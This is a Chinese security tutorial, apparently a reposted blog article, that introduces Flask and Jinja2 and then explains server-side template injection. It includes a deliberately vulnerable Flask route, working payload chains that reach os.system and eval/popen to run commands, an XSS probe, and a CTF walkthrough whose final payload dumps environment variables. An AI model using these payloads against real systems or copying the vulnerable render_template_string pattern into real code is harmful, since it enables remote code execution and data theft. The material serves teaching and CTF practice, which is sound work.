入门SSTI模板注入

admin 2024年2月15日23:52:36评论14 views字数 7073阅读23分34秒阅读模式

一个Web应用的本质

  1. 浏览器发送一个HTTP请求;

  2. 服务器收到请求,生成一个HTML文档;

  3. 服务器把HTML文档作为HTTP响应的Body发送给浏览器;

  4. 浏览器收到HTTP响应,从HTTP Body取出HTML文档并显示。

最简单的Web应用就是先把HTML用文件保存好,用一个现成的HTTP服务器软件,接收用户请求,从文件中读取HTML,返回。

Apache、Nginx、Lighttpd等这些常见的静态服务器就是干这件事情的。

如果要动态生成HTML,就需要把上述步骤自己来实现。不过,接受HTTP请求、解析HTTP请求、发送HTTP响应都是苦力活,如果我们自己来写这些底层代码,还没开始写动态HTML呢,就得花个把月去读HTTP规范。

正确的做法是底层代码由专门的服务器软件实现,我们用Python专注于生成HTML文档。

因为我们不希望接触到TCP连接、HTTP原始请求和响应格式,所以,需要一个统一的接口,让我们专心用Python编写Web业务。

这个接口就是WSGI:Web Server Gateway Interface

WSGI——Web Server Gateway Interface

Web Server Gateway Interface(Web服务器网关接口,WSGI)已被用作Python Web应用程序开发的标准。

WSGI是Web服务器和Web应用程序之间通用接口的规范

WSGI接口定义非常简单,它只要求Web开发者实现一个函数,就可以响应HTTP请求

Werkzeug是一个WSGI工具包,它实现了请求,响应对象和实用函数。这使得能够在其上构建web框架。Flask框架使用Werkzeug作为其基础之一

Flask是一个用Python编写的、轻量级、同步的、Web框架

Flask 应用对象实质上是一个 WSGI 应用

Jinja模板

Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言

长这样:

 <title>{% block title %}{% endblock %}</title> <ul> {% for user in users %}   <li><a href="{{ user.url }}">{{ user.username }}</a></li> {% endfor %} </ul>
 <!doctype html> <title>Hello from Flask</title> {% if name %}   <h1>Hello {{ name }}!</h1> {% else %}   <h1>Hello, World!</h1> {% endif %}

Hello World

 pip install Flask

使用PyCharm新建一个Flask项目

入门SSTI模板注入

初始化的默认项目文件结构:

flaskProject ├─static ├─templates └─app.py

静态文件位于应用的 /static: 一般是 CSS 和 JavaScript 文件

Flask 会在 /templates 文件夹内寻找模板(Jinja模板): 如果你的应用是一个模块, 那么模板文件夹应该在模块旁边;如果是一个包,那么就应该在包里面:

入门SSTI模板注入

模板示例:

<!doctype html> <title>Hello from Flask</title> {% if name %}   <h1>Hello {{ name }}!</h1> {% else %}   <h1>Hello, World!</h1> {% endif %}

模板渲染:使用 render_template() 方法

from flask import render_template @app.route('/hello/') @app.route('/hello/<name>') def hello(name=None):     return render_template('hello.html', name=name)  # 模板渲染

下面运行第一个Flask程序:

from flask import Flask app = Flask(__name__) @app.route('/') def hello_world():    return 'Hello World' if __name__ == '__main__':    app.run()

入门SSTI模板注入

入门SSTI模板注入

修改Flask App默认配置

(1)程序名称

app = Flask(__name__)

上面的代码中,python内置变量__name__的值是字符串__main__ 。Flask类将这个参数作为程序名称。当然这个是可以自定义的,比如app = Flask("my-app")

(2)静态资源、模板、参考文档

app = Flask("my-app", static_folder="path1", template_folder="path2")

更多参数请参考__doc__

from flask import Flaskprint(Flask.__doc__)

(3)调试模式

开发Flask应用的时候,会将app的运行模式设置为debug,这样在修改源码后,无需手动重启app就能看到修改后的效果

设置debug模式的方法:

# 但是,flask 更新到1.0以后 不支持使用debug =True 来开启调试模式了 # 而且在一些比较官方文档中,并不推荐在开发环境中,使用app.run()来进行端口、主机等配置,因为这种方式通常没用~ app.debug = True app.run() app.run(debug = True)

It is not recommended to use this function for development with automatic reloading as this is badly supported. Instead you should be using the flask command line script’s run support.

还得在PyCharm中设置 Edit Configurations...

入门SSTI模板注入

入门SSTI模板注入

勾选Flask DEBUG

(4)绑定IP和端口(默认端口为5000

默认情况下,Flask绑定IP为127.0.0.1,端口为5000

app.run(host='0.0.0.0', port=80, debug=True) # 绑定不到, 好像是因为pycharm在2018版之后就不允许这样了?

0.0.0.0代表电脑所有的IP

在运行配置中,设置监听host和port

入门SSTI模板注入

导入flask中的request模块,查看GET请求的参数

from flask import Flask, request app = Flask(__name__) @app.route('/hello') def hello_world2():     return request.args.__str__() if __name__ == '__main__':     # flask 更新到1.0以后 不支持使用debug =True 来开启调试模式了     # 所以下面,在run中设置debug True ,是徒劳的     app.run(port=8000, debug=True)

可见,GET 请求中的参数会被request.args接收,存为字典

另外,如果不能通过app.run(…)来修改端口号,那么就去PyCharm中修改运行配置:

入门SSTI模板注入

# 新增一个路由函数 @app.route('/hello2') def hello_world():     a = request.args.get("a")     return a

入门SSTI模板注入

漏洞的成因

ssti 服务端模板注入,ssti 主要为 python 的一些框架 jinja2 mako tornado django,PHP 框架 smarty twig,java 框架 jade velocity 等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对 flask 模板注入进行浅析。

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML 代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的 HTML 字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是 json 等数据包封装的数据,也可能是 html 代码,他都是由浏览器前端来解析渲染成 html 的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

from flask import Flask,render_template_string,requestapp = Flask(__name__)def test():    id = request.args.get("id")    return render_template_string(id)if __name__ == '__main__':    app.run()

入门SSTI模板注入

什么是SSTI注入

SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或getshell的目的,目前CTF常见的SSTI题中,大部分考察的都是python的jinja2模版引擎

造成的原因与利用条件

网站由数据与模版框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模版可以给人不同的视觉感受,但是当模版存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,针对大多数脚本类型均存在该注入。

造成的危害

可造成文件读取,命令执行等

SSTI注入的利用姿势

利用思路概述

  1. 1. 随意找一个内置类对象利用__class__拿到该对象所对应的类型

  2. 2. 用__bases____mro__拿到基类<class 'object'>

''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
().__class__.__mro__[-1].__subclasses__()
request.__class__.__mro__[1]
  1. 1. 用__subclasses__()获取所有子类

  2. 2. 在子类中寻找可以合适的继承链执行命令或读取文件

利用姿势详解

在Python的ssti中,大部分都是依靠基类->子类->危险函数的方式来利用ssti,首先补充一下基础知识,方便我们后续的使用

__class__:用于返回该对象所属的类,如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

__bases__:以元组的形式返回一个类所直接继承的类。

--base__:以字符串返回一个类所直接继承的类

__mro__:返回解析方法调用的顺序

__subclassws__():获取类的所有子类

__init__:所有自带类都包含init方法,便于利用他当跳板来调用globals

__globals__function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

讲了这么多我们无非只有两个目的:

  • • 执行命令

  • • 获取文件内容

所以所有的一切都是要往这两个点上靠拢,接下来我们用一个例子来进行讲解

示例代码

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/')def index():    return '<h1>不在这里,我的朋友</h1>'@app.route('/flag/')def flag():    code = request.args.get('id')    html = '''        hello, do you have id ? , %s    ''' % code    return render_template_string(html)if __name__ == '__main__':    app.run(host='0.0.0.0' , port='5000')

当访问/flag/时,会从get传递的参数中获取id的值并且拼接进行模板进行渲染

id={{1}}

入门SSTI模板注入

此时传入的是1,响应返回的也是1,我们把参数换为{{2*2}}看看会有什么变化

id={{2*2}}

入门SSTI模板注入

此时得到的值为4,证明是执行了2*2,因此可以断定存在模版注入漏洞

id={{config}}

入门SSTI模板注入

针对我们的命令没有进行过滤,尝试一下xss

id=<script>alert("hello")</script>

入门SSTI模板注入

首先通过str、dict、tuple或list获取python的基本类:

''.__class__.__base__[].__class__.__base__().__class__.__base__request.__class__.__base__

入门SSTI模板注入

在模版注入中我们最经常需要用到的是warnings.catch_warning,所以遇到flask模板注入时,只要去寻找warning.catch_warning即可

通常是59

request.__class__.__base__.__subclasses__()[59]

入门SSTI模板注入

继续找linecache

request.__class__.__base__.__subclasses__()[59].__init__.__globals__.keys()

入门SSTI模板注入

运行个命令

request.__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

入门SSTI模板注入

到此为止我们就可以肆意妄为的进行命令执行了

CTF实战

BUUOJ-[FLask]SSTI

看到题目,没有给任何提示,先用Arjun(https://github.com/s0md3v/Arjun/archive/refs/tags/1.6.zip)进行一波扫描,看我们的可控参数

python3 arjun.py -u http://node4.buuoj.cn:29645/

入门SSTI模板注入

可以看到我们可以利用的参数是name

直接用{{2*2}}进行测试

入门SSTI模板注入

返回结果是4证明存在模版注入,按照我们前面说的步骤来

1. 构造基本类

name={{''.__class__.__base__}}

入门SSTI模板注入

2. 寻找warnings.catch_warning

入门SSTI模板注入

name={{''.__class__.__base__.__subclasses__()[166]}}

入门SSTI模板注入

name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__.keys()}}

入门SSTI模板注入

没有找到我们想要的linecache,但是有builtins,我们可以利用它执行eval或者open

用eval执行个whoami试试

name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('w hoami').read()")}}

入门SSTI模板注入

成功执行

然后翻找了半天也没找到flag,最后在环境变量中找到的,也是很艰辛了

最终payload:

?name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

入门SSTI模板注入

入门SSTI模板注入

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):入门SSTI模板注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日23:52:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入门SSTI模板注入http://cn-sec.com/archives/2164309.html

发表评论

匿名网友 填写信息